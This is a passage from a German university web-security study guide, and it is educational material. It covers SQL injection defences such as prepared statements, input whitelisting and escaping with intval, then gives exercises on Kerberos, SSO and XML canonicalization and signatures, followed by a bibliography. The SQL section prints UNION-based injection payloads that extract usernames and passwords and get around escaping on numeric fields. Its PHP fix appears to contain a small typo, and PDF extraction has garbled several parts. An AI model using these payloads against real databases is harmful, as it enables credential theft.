ersetzt werden müssen. Seite 58 Studienbrief 4 SQL-Injection Durch die Verankerung des Templates in der Datenbank, können keine Änderungen vorgenommen werden. Der genaue Ablauf sieht wie folgt aus pre [2014]: a) SQL-Query inkl. Platzhaltern wird abgesendet. b) Server überprüft Query auf syntaktische Korrektheit, sowie validiert ihre Zusammenhang (ergibt die Eingabe “Sinn”?). c) Query wird in einem Puffer zwischengespeichert. d) Es wird eine Referenz auf die Query zurückgegeben. e) Wenn diese ausgeführt werden soll, wird Referenz inkl. Platzhalter an Server geschickt. f) Server ersetzt die Platzhalter durch die entsprechender Parameter und führt die Query aus. Ein entsprechendes Beispiel sieht man hier: 1 // Datenbankverbindung aufbauen 2 $db = new mysqli("localhost", "user", "password", 3 "datenbank"); 4 // Query vorbereiten 5 $stmt = $db->prepare("INSERT INTO kunden VALUES (?, ?, 6 ?)""); 7 // Platzhalter befuellen (1x Integer und 2x String) 8 $stmt->bind_param("iss", $pId, $pVorname, $pNachname); 9 // Query ausfuehren 10 $stmt->execute(); 11 // Statement schliessen 12 $stmt->close(); 13 // Datenbankverbindung schliessen 14 $db->close(); Quelltext 4.25 Wenn jetzt z.B ein Angreifer als Vorname “Dennis’ or 1=1” eingeben würde, würde einfach der ganze String eingesetzt werden und nicht OR 1=1 ausgeführt werden. 4.10 Eingabenmaskierung Regular Expressions sind nützlich um die Dateneingabe genau zu definieren. Dabei bietet sich sogenanntes Whitelisting an. Dies bedeutet, dass nur genau die Eingabe in dem Format angenommen wird, wie es vorher definiert wurde. Ein Beispiel ist ein Eingabefeld für eine Postleitzahl. Die Zeichenkette besteht in Deutschland aus genau fünf Zahlen. Eine Regular Expression sieht dann so aus: 1 ^\d{5}$ Quelltext 4.26 Zusätzlich bieten Skriptsprachen noch Funktionen, um Benutzereingaben zu filtern. Bei PHP ist dies z.B mysql_real_escape_string(), um vor kritischen Eingaben ein Backslash einzufügen, damit diese nicht ausgeführt werden. Theoretisch würden dabei SQL-Injections überhaupt nicht mehr möglich sein. Jedoch funktioniert 4.10 Eingabenmaskierung Seite 59 dies nicht bei Zahlenwerten. Deswegen sollte man zusätzlich noch IntVal() benutzen. Dies lässt sich mit diesem Beispiel demonstrieren int [2014]. 1 $userid = isset($_GET[’id’]) ? $_GET[’id’] : 0; 2 $userid = mysql_real_escape_string($userid); 3 RunQuery("SELECT userid, username FROM sql_injection_test WHERE userid=$userid"); Quelltext 4.27 Das Problem ist, dass die Eingabe einen Zahlenwert ohne Hochkommata erwartet. Also landen die Eingaben direkt in der Abfrage. 1 --Beispiel 1 2 id=0 UNION ALL SELECT userid, CONCAT(username, ’ ’, password) 3 FROM sql_injection_test WHERE 1 4 --Beispiel 2 5 id=0 UNION ALL SELECT userid, CONCAT(username, CHAR(32), password) 6 FROM sql_injection_test WHERE 1 Quelltext 4.28 Beispiel 1 würde hier zwar keinen Erfolg haben, da die Hochkommata gefiltert werden würden. Beispiel 2 umgeht die Filterung aber durch Benutzen des Char 32, welches in ASCII Codierung für das Leerzeichen steht. Das bereinigte Beispiel mit IntVal sieht dann wie folgt aus: 1 $userid = isset($_GET[’id’]) ? $_GET[’id’] : 0; 2 userid = intval($userid); 3 $userid = mysql_real_escape_string($userid); 4 RunQuery("SELECT ‘userid‘, ‘username‘ FROM ‘sql_injection_test‘ 5 WHERE ‘userid‘ = ’$userid’"); Quelltext 4.29 SQL-Injections sind heutzutage keinesfalls zu unterschätzen. Fast täglich gibt es Nachrichten auf IT-Portalen, über neue Sicherheitslücken. Dabei kann immenser Schaden entstehen. Vom Datenklau bis hin zum Löschen der kompletten Datenbank ist alles möglich, sofern eine Lücke existiert. Wie man im Kapitel 2 sieht, bleiben auch große, renommierte Firmen nicht von verschont, obwohl man als Nutzer diesen eine gewisse Kompetenz unterstellt. Um kriminellen Missbrauch entgegenzuwirken bieten diese heutzutage sogenannte “Bug Bounty” Programme an. Zum Beispiel hat der Entdecker der Flickr Lücke 15.000 USD für das Melden dieser Lücke erhalten. Auf der OWASP Top 10 Liste ? belegen Injection Attacks in 2013 den ersten Platz. Besonders bei Updates/Launch neuer Webpräsenzen ist Vorsicht geboten. Nicht nur deshalb wird generell empfohlen die im Kapitel 4 vorgestellten Präventionen einzusetzen. In den nächsten Jahren wird sich bezüglich dies auch nicht viel ändern, da Datenbanken ein wichtiger Bestandteil der IT bleiben werden. Der einzige positive Lichtblick ist, dass auch mittlerweile nicht nur IT spezifische Nachrichten aufklären und die User versuchen zu sensibilisieren. Dies war z.B bei der Heartbleed-Sicherheitslücke als auch bei der Quizduell App der Fall. Natürlich hat der normale User keinerlei Schuld an solchen Vorkommnissen. Jedoch liegt es in seiner Hand dem jeweiligen Unternehmen ein Zeichen zu setzen, indem er die Dienste noch weiterhin nutzt oder nicht. Studienbrief 5 Single Sign On Seite 61 Studienbrief 5 Single Sign On 5.1 Lernziele Sie kennen Grundlagen von Single Sign On und sind in der Lage SSO Protokolle, wie Kerberos, Microsoft Passport und OpenID zu erläutern. Der Inhalt dieses Studienbriefs ist in [Schwenk, 2014, Kapitel 11.3 und 11.4] nachzulesen. 5.2 Übungsaufgaben Übung 5.1 Ü a) Beschreiben Sie wie die Funktionalität von Kerberos mit asymmetrischer Kryptographie implementiert werden kann. Überlegen Sie welche Voraussetzungen dafür gegeben sein müssen. b) Welche Vorteile hat der Einsatz von asymmetrischer Kryptographie in diesem Fall? c) Hat Ihr Vorschlag Nachteile gegenüber Kerberos? Übung 5.2 Betrachten Sie folgende Variante des Kerberos-Protokolls zwischen Parteien A und B und dem key distribution center S , bei dem Parteien A und B einen gemeinsamen Schlüssel K etablieren. Dabei bezeichnet {M }K die symmetrische Verschlüsselung von M mit Schlüssel K , und KP S bezeichnet den symmetrischen Schlüssel der von Partei P ∈ {A, B} mit S geteilt wird. 1. A → S : (A, B) ˆ K , {K} ˆ K , A, B) 2. S → A : ({K} AS BS ˆ K , A) 3. A → B : ({K} BS a) Zeigen Sie wie sich eine Partei C gegenüber B leicht als Partei A ausgeben kann, und beschreiben Sie wie man diesen Angriff verhindern kann! b) Beschreiben Sie, wie ein Angreifer D erreichen kann dass Partei A und B in neuen Sitzungen einen Schlüssel aus einer vorigen Sitzung verwenden. Wie kann man diesen Angriff verhindern? Ü Seite 62 Ü Studienbrief 5 Single Sign On Übung 5.3 a) Erläutern Sie welche Vorteile der Einsatz von MS-Passport anbietet! b) Woran erkennt der Web-Server/ReplyingParty/ServiceProvider, dass sich der Client noch nicht eingeloggt hat? c) Erläutern Sie stichpunkartig, wie ein weiteres SignIn (nachdem sich der Client ein Mal authentifiziert hat) funktioniert? d) Was passiert, wenn der Client über ein veraltetes Cookie verfügt und eine Verbindung mit dem Webserver aufbauen möchte? e) Was passiert beim Single Sign-Out? Wieso ist der Client danach nicht in der Lage die alte Session zu verwenden? Studienbrief 6 XML Security Seite 63 Studienbrief 6 XML Security 6.1 Lehrziele Die Studierenden haben ein Verständnis fr die neuartigen Sicherheitsanforderungen und Probleme, die durch den Einsatz von XML- und WS-Security entstehen. Der Inhalt dieses Studienbriefs ist in [Schwenk, 2014, Kapitel 12]. 6.2 Übungsaufgaben Übung 6.1 Das XML-Dokument aus Quelltext 6.1 soll kanonisiert werden. Ü Inclusive Canonicalization Machen Sie sich mit dem InclusiveCanonicalizati- on-Verfahren vertraut (siehe http://www.w3.org/TR/xml-c14n). Wenden Sie dieses Verfahren auf den Knoten <ns2:B> in Quelltext 6.1 an. Exclusive Canonicalization Machen Sie sich mit dem ExclusiveCanoni- calization-Verfahren vertraut (siehe http://www.w3.org/TR/ xml-exc-c14n/). Wenden Sie auch dieses Verfahren auf den Knoten <ns2:B> in Quelltext 6.1 an. 1 2 3 4 5 6 7 8 9 10 11 <ns1:A xmlns:ns1= " h t t p : // e i n s . ns " xmlns:ns3= " h t t p : // d r e i . ns " xmlns:ns2= " h t t p : //zwei . ns " > < n s 2 : B xmlns:ns4= " h t t p : // v i e r . ns " xmlns:ns5= " h t t p : // f u e n f . ns " > <ns2:C ID= " 78762 " /> <ns6:D r e f = " 12345 " ID= " 12456 " xmlns:ns6= " h t t p : // s e c h s . ns " /> < n s 1 : E /> </ n s 2 : B > </ns1:A> 1 2 3 4 5 6 7 8 9 10 11 12 <?xml v e r s i o n= " 1 . 0 " encoding= "UTF−8" ?> <seclist:warenkorb x m l n s : s e c l i s t =" h t t p : / / . . . "> < s e c l i s t : e n t r y i d= " A r t i k e l 1 " > < s e c l i s t : a r t i k e l n r >123456</ s e c l i s t : a r t i k e l n r > < s e c l i s t : a r t i k e l B e z e i c h n u n g >Router</ s e c l i s t : a r t i k e l B e z e i c h n u n g > < s e c l i s t : p r e i s >40</ s e c l i s t : p r e i s > < s e c l i s t : a b t e i l u n g >Hardware</ s e c l i s t : a b t e i l u n g > < s e c l i s t : a b t e i l u n g >Computernetze</ s e c l i s t : a b t e i l u n g > < s e c l i s t : f i l i a l e >Bochum</ s e c l i s t : f i l i a l e > < s e c l i s t : b e n u t z e r k o n t o >111111111</ s e c l i s t : b e n u t z e r k o n t o > </ s e c l i s t : e n t r y > </ s e c l i s t : w a r e n k o r b > Quelltext 6.2: Ein Beispiel-XML-Dokument, das signiert werden soll. Quelltext 6.1: Ein nicht kanonikalisiertes XML-Dokument. Seite 64 Ü Studienbrief 6 XML Security Übung 6.2 Betrachten Sie das gegebene XML Dokument aus Quelltext 6.2. Es soll nun eine detaillierte Beschreibung dazu erfolgen, wie eine XML Signatur dazu erstellt wird. Hinweise: • Das <ds:Signature/> Element soll als erstes Kindelement von <seclist:warenkorb/> hinzugefügt werden. • Nur dasjenige Element soll signiert werden, welches die id= "Artikel1" hat. Verwenden Sie beim Signieren keine XPathAusdrücke! • Halten Sie Sich hierbei stets an den Standard für XML-Signature. Alle benötigten Informationen können auf folgender Webseite gefunden werden: http://www.w3.org/TR/xmldsig-core/. Beantworten Sie die folgenden Fragen: a) Wie genau sieht die Namespace Deklaration für das Präfix ds im <ds:Signature/> Element aus? Bitte geben Sie hier den vollständigen Namespace an. b) Wie sieht die Struktur des <ds:Signature/> Elements aus? i) Welche Kindelemente muss das Element mindestens haben? ii) Welche Kindelemente sind optional? Sie können hierzu in das entsprechende XML Schema schauena . c) Wie wird der Verweis auf das signierte Element realisiert? Nennen Sie das Element, das die Informationen über den Verweis enthält. i) Wo wird dieses Element genau platziert? ii) Geben Sie die vollständige Element-Deklaration (inklusive aller benötigten Attribute) des Elements an. Sie brauchen keine Kindelemente dieses Elements mit angeben. d) Es soll Exclusive Canonicalization verwendet werden. i) Welches Element enthält die Informationen über die verwendete Canonicalization-Methode? ii) Wo befindet sich dieses Element in der XML-Baumstruktur? iii) Geben Sie die vollständige Element-Deklaration (inklusive aller benötigten Attribute) an. Sie brauchen keine Kindelemente dieses Elements mit angeben. e) Wofür wird das <ds:DigestValue/> Element verwendet? i) Wo wird das entsprechende Element platziert? ii) Über was genau wird der Hashwert berechnet? f) Wofür wird das <ds:SignatureValue/> Element verwendet? i) Wo wird das entsprechende Element platziert? ii) Wie genau wird der Wert berechnet? g) Erklären Sie die Unterschiede zwischen i) Enveloping Signature ii) Enveloped Signature iii) Detached Signature h) Geben Sie das vollständige XML-Dokument an, welches die zuvor erarbeitete Signatur enthält. Die erstellte Signatur muss vollständig validierbar sein (wobei Sie anstelle der konkreten Hash- & Signatur-Werte Platzhalter eintragen dürfen). Beachten Sie außerdem, dass die zuvor bearbeiteten Schritte nicht vollständig waren, d.h. es müssen noch einige zusätzliche Elemente/Attribute eingefügt werden! 6.2 Übungsaufgaben Übung 6.3 Das signierte Dokument aus ?? soll nun so verändert werden, dass die Signatur semantisch identisch ist. Das bedeutet, dass weiterhin dasselbe Element (und nur dieses) signiert bleiben soll, aber anstelle einer ID Referenzierung soll nun eine XPath-Referenz verwendet werden. a) Geben Sie einen XPath-Ausdruck an, der semantisch dasselbe Element selektiert, wie das durch die ID Referenzierung angegebene. b) Um den signierten Teil mittels XPath zu referenzieren, müssen einige Änderungen vorgenommen werden. i) Auf welchen Wert muss das Attribut URI des <Reference/> Elements gesetzt werden? ii) Welche Kindelemente müssen dem <Reference/> Element hinzugefügt werden wenn Sie XPath Filter 2 verwenden? Geben Sie als Lösung das vollständige <Reference/> Element, inklusive des in Teilaufgabe a) erzeugten XPath-Ausdrucks an. Fügen sie auch evtl. benötigte Namespacedeklarationen vollständig ein. b) Welche weiteren Elemente/Attribute/Werte des in ?? erzeugten signierten Dokuments müss(t)en selbstverständlich noch angepasst werden, damit die Signatur wieder gültig ist. Seite 65 Ü Verzeichnisse Seite 67 Verzeichnisse I. Abbildungen Abb. 1.1: Abb. 2.1: Abb. 2.2: Abb. 2.3: Abb. 2.4: Abb. 2.5: Abb. 2.6: Abb. 2.7: Abb. 3.1: Abb. 3.2: Abb. 4.1: Abb. 4.2: Abb. 4.3: Abb. 4.4: Abb. 4.5: Abb. 4.6: Abb. 4.7: Abb. 4.8: DOM-Baum (Haessler, 2007) . . . . . . . . . . . . . . . . . . . . XSS Kategorien . . . . . . . . . . . . . . . . . . . . . . . . . . . . Verarbeitung einer Nutzereingabe . . . . . . . . . . . . . . . . . Reflektiertes XSS (Rütten, 2007) . . . . . . . . . . . . . . . . . . Persistentes XSS (Rütten, 2007) . . . . . . . . . . . . . . . . . . . DOM-XSS Kategorien und Beispielquellen . . . . . . . . . . . . XSS Ausgabe (Schmidt, 2007) . . . . . . . . . . . . . . . . . . . . XSS Ausgabe (Schmidt, 2007) . . . . . . . . . . . . . . . . . . . . Beispiel Angriff . . . . . . . . . . . . . . . . . . . . . . . . . . . Beispiel Angriff mit Session Cookie . . . . . . . . . . . . . . . . Altes Preisetikett kai [2014] . . . . . . . . . . . . . . . . . . . . . EAN Code ean [2014] . . . . . . . . . . . . . . . . . . . . . . . . Verknüpfungen einzelner Tabellen Laudon and Schoder [2010] verschiedene Hersteller von RDBMS . . . . . . . . . . . . . . . weitere SQL Anweisungen Steiner . . . . . . . . . . . . . . . . . Grundlegender Aufbau einer Web Applikation Clarke [2012] . Extrahieren von Benutzerdaten . . . . . . . . . . . . . . . . . . Check-Out von Flickr . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 9 16 16 17 18 20 27 28 38 40 47 48 49 50 52 52 55 56 Tabelle 2.1: Adressquellen . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . Tabelle 4.1: äquivalente Begriffe aus unterschiedlichen Bereichen . . . . . . . . . . . . . . . . . . . . . 22 49 II. Tabellen III. Literatur Cross-Site Request Forgery (CSRF). http://www.dpunkt.de/leseproben/4198/3_Cross-Site_Request Forgery_CSRF (Kapitelauszug).pdf . 2014. http://www.absatzsetzer.de/wp-content/uploads/2007/10/ean.gif. 2014. http://www.webappsec.org/projects/articles/091007.txt. 2014. http://www.shopblogger.de/blog/uploads/september_05/kaiserspreisetikettmitdemarkaufdrucknoch.jpg. 2014. http://www.sjmp.de/wp-content/uploads/2011/03/PHP-MySQL-Mehr-Sicherheit-und-erhoehtePerformance-durch -MySQLi-und-Prepared-Statements-IT-Grundschutz-hakin9-03-2011.pdf. 2014. http://pwnrules.com/flickr-from-sql-injection-to-rce/#more-103. 2014. http://en.wikipedia.org/wiki/Wargame_(hacking). 2014. http://www.youtube.com/watch?v=q-CH10Zo0gs. Robert Auger. The Cross-Site Request Forgery (CSRF/XSRF) FAQ. http://www.cgisecurity.com/csrffaq.html#attackperform, 2010. Seite 68 Verzeichnisse A. Barth, C. Jackson, and I. Hickson. The HTTP Origin Header . http://tools.ietf.org/id/draft-abarth-origin03.html, 2009. BSI. G 5.170 Cross-Site Scripting (XSS). [Online]. Available: https://www.bsi.bund.de/DE/Themen/ ITGrundschutz/ITGrundschutzKataloge/Inhalt/_content/g/g05/g05170.html. Jesse Burns. Cross Site Request Forgery An introduction to a common web application weakness. https://www.isecpartners.com/media/11961/csrf_paper.pdf, 2007. Justin Clarke. SQL Injection Attacks and Defense. 2012. CWE. CWE - Vulnerability Type Distributions in CVE. vuln-trends/index.html. Online; accessed 10-July-2014. http://cwe.mitre.org/documents/ Dipl.-Inform. Carsten Eilers. Die Same Origin Policy, 2012. [Online]. Available: http://www. ceilers-news.de/serendipity/295-Die-Same-Origin-Policy.html. ECMA. Standard ECMA-262. http://www.ecma-international.org/publications/ standards/Ecma-262.htm. Online; accessed 10-July-2014. Erich Kachel. Cross Site Scripting trotz htmlentities() . PHP Application and Website Defense, 2008. [Online]. Available: http://www.erich-kachel.de/?p=415. R. Fielding, J. Gettys, J. Mogul, H. Frystyk, L. Masinter, and P. Leach und T. Berners-Lee. Hypertext Transfer Protocol – HTTP/1.1. https://tools.ietf.org/html/rfc2616#section-14.36, June 1999. Frank Roth. Sicherheitslücken in Webapplikationen. [Online]. Available: http://blog.mynotiz.de/ downloads/sicherheitsluecken_in_webapplikationen_frank_roth.pdf. Jürgen Schmidt. Online Banking Fatal, 2007. [Online]. Available: http://www.heise.de/security/ artikel/Vom-ausgezeichneten-Online-Banking-zum-Security-Desaster-270914.html. Laudon and Schoder. Datenorganisation und Datenbankeinsatz. 2010. OWASP. Top 10 2010-Main - OWASP. https://www.owasp.org/index.php/Top_10_2010-Main, a. Online; accessed 10-July-2014. OWASP. Top 10 2013 - OWASP. https://www.owasp.org/index.php/Top_10_2013, b. Online; accessed 10-July-2014. OWASP Foundation. Cross-Site-Scripting (XSS)., a. index.php/Cross-site_Scripting_(XSS). [Online]. Available: https://www.owasp.org/ OWASP Foundation. Testing for Reflected Cross-Site-Scripting (OWASP-DV-001)., b. [Online]. Available: https://www.owasp.org/index.php/Testing_for_Reflected_Cross_site_scripting_ (OWASP-DV-001). OWASP Foundation. Testing for Stored Cross-Site-Scripting (OWASP-DV-002)., c. [Online]. Available: https://www.owasp.org/index.php/Testing_for_Stored_Cross_site_scripting_ (OWASP-DV-002). OWASP Foundation. XSS Filter Evasion Cheat Sheet., d. [Online]. Available: https://www.owasp.org/ index.php/XSS_Filter_Evasion_Cheat_Sheet. Stefano Di Paola. Minded Security Blog: DOM XSS on Google Plus One Button. http://blog. mindedsecurity.com/2012/11/dom-xss-on-google-plus-one-button.html. Online; accessed 10-July-2014. Literatur Seite 69 PHP-Kurs.com. Cross-Site Scripting (XSS) unterbinden. [Online]. Available: http://www.php-kurs. com/cross-site-scripting-xss-unterbinden.htm Seite 70 Verzeichnisse . Prof. Dr. Jörg Schwenk. Cross-Site-Scripting. [Online]. Available: http://ei.rub.de/media/ei/ lehrmaterialien/257/fa1414d5526210c8884bac7e4d14b69c72b62665/XSS%20-%20Cross% 20Site%20Scripting.pdf. qatestingdownloads.com. How to create a cookie stealing script, 2013. [Online]. Available: http://www. qatestingdownloads.com/how-to-create-a-cookie-stealing-script-with-cheatsheets-xss-scriptRötten, Christiane und Glemser, Tobias. Sicherheit von Webanwendungen, 2007. [Online]. Available: http: //www.heise.de/security/artikel/Sicherheit-von-Webanwendungen-270870.html. Joerg Schwenk. Sicherheit und Kryptographie im Internet. Vieweg + Teubner Verlag, 2014. SELFHTML. Einführung in JavaScript und DOM., a. [Online]. Available: http://de.selfhtml.org/ javascript/intro.htm. SELFHTML. JavaScript Event-Handler., b. javascript/sprache/eventhandler.htm. [Online]. Available: http://de.selfhtml.org/ Rene Steiner. Grundkurs relationale Datenbanken. Symantec. Symantect internet security thread report. 13, 2007. Ulrike Haessler. HTML-Tag input - Eingabefeld in einem Formular, 2013. [Online]. Available: http://www. mediaevent.de/xhtml/input.html. Ulrike Haessler. Javascript DOM (Document Object Model), 2014. [Online]. Available: http://www. mediaevent.de/javascript/DOM.html. Felipe Pereira Martins und Anna Kobylinska. Erklärt: So nutzen Hacker Cross Site Request Forgery für Angriffe. http://www.pc-magazin.de/ratgeber/teil-5-erklaert-so-nutzen-hacker-cross-site-requestforgery-fuer-angriffe-243216.html, 2010. William Zeller und Edward W. Felten. Cross-Site Request Forgeries: Exploitation and Prevention. https://www.eecs.berkeley.edu/ daw/teaching/cs261-f11/reading/csrf.pdf , 2008. vulnerability-lab.com. Cross-Site-Scripting: Dokumentation, Analyse & Techniken. [Online]. Available: http://www.vulnerability-lab.com/resources/documents/198.pdf. W3C. Document Object Model (DOM) Level 1 Specification. REC-DOM-Level-1-19981001/, a. Online; accessed 10-July-2014. http://www.w3.org/TR/1998/ W3C. Document Object Model (DOM) Level 2 Core Specification. http://www.w3.org/TR/2000/ REC-DOM-Level-2-Core-20001113/, b. Online; accessed 10-July-2014. W3C. Document Object Model (DOM) Level 3 Core Specification. http://www.w3.org/TR/2004/ REC-DOM-Level-3-Core-20040407/, c. Online; accessed 10-July-2014. W3C. W3C Document Object Model. http://www.w3.org/DOM/, d. Online; accessed 10-July-2014. W3C. Web Storage. http://www.w3.org/TR/webstorage/, e. Online; accessed 10-July-2014. Webmasterpro.de. Cross-Site-Scripting., a. [Online]. Available: http://www.webmasterpro.de/ server/article/sicherheit-cross-site-scripting.html. Literatur Seite 71 Webmasterpro.de. PHP-Sicherheit: Cross Site Scripting., b. [Online]. Available: http://www. webmasterpro.de/coding/article/php-sicherheit-cross-site-scripting.html.
© Copyright 2024 ExpyDoc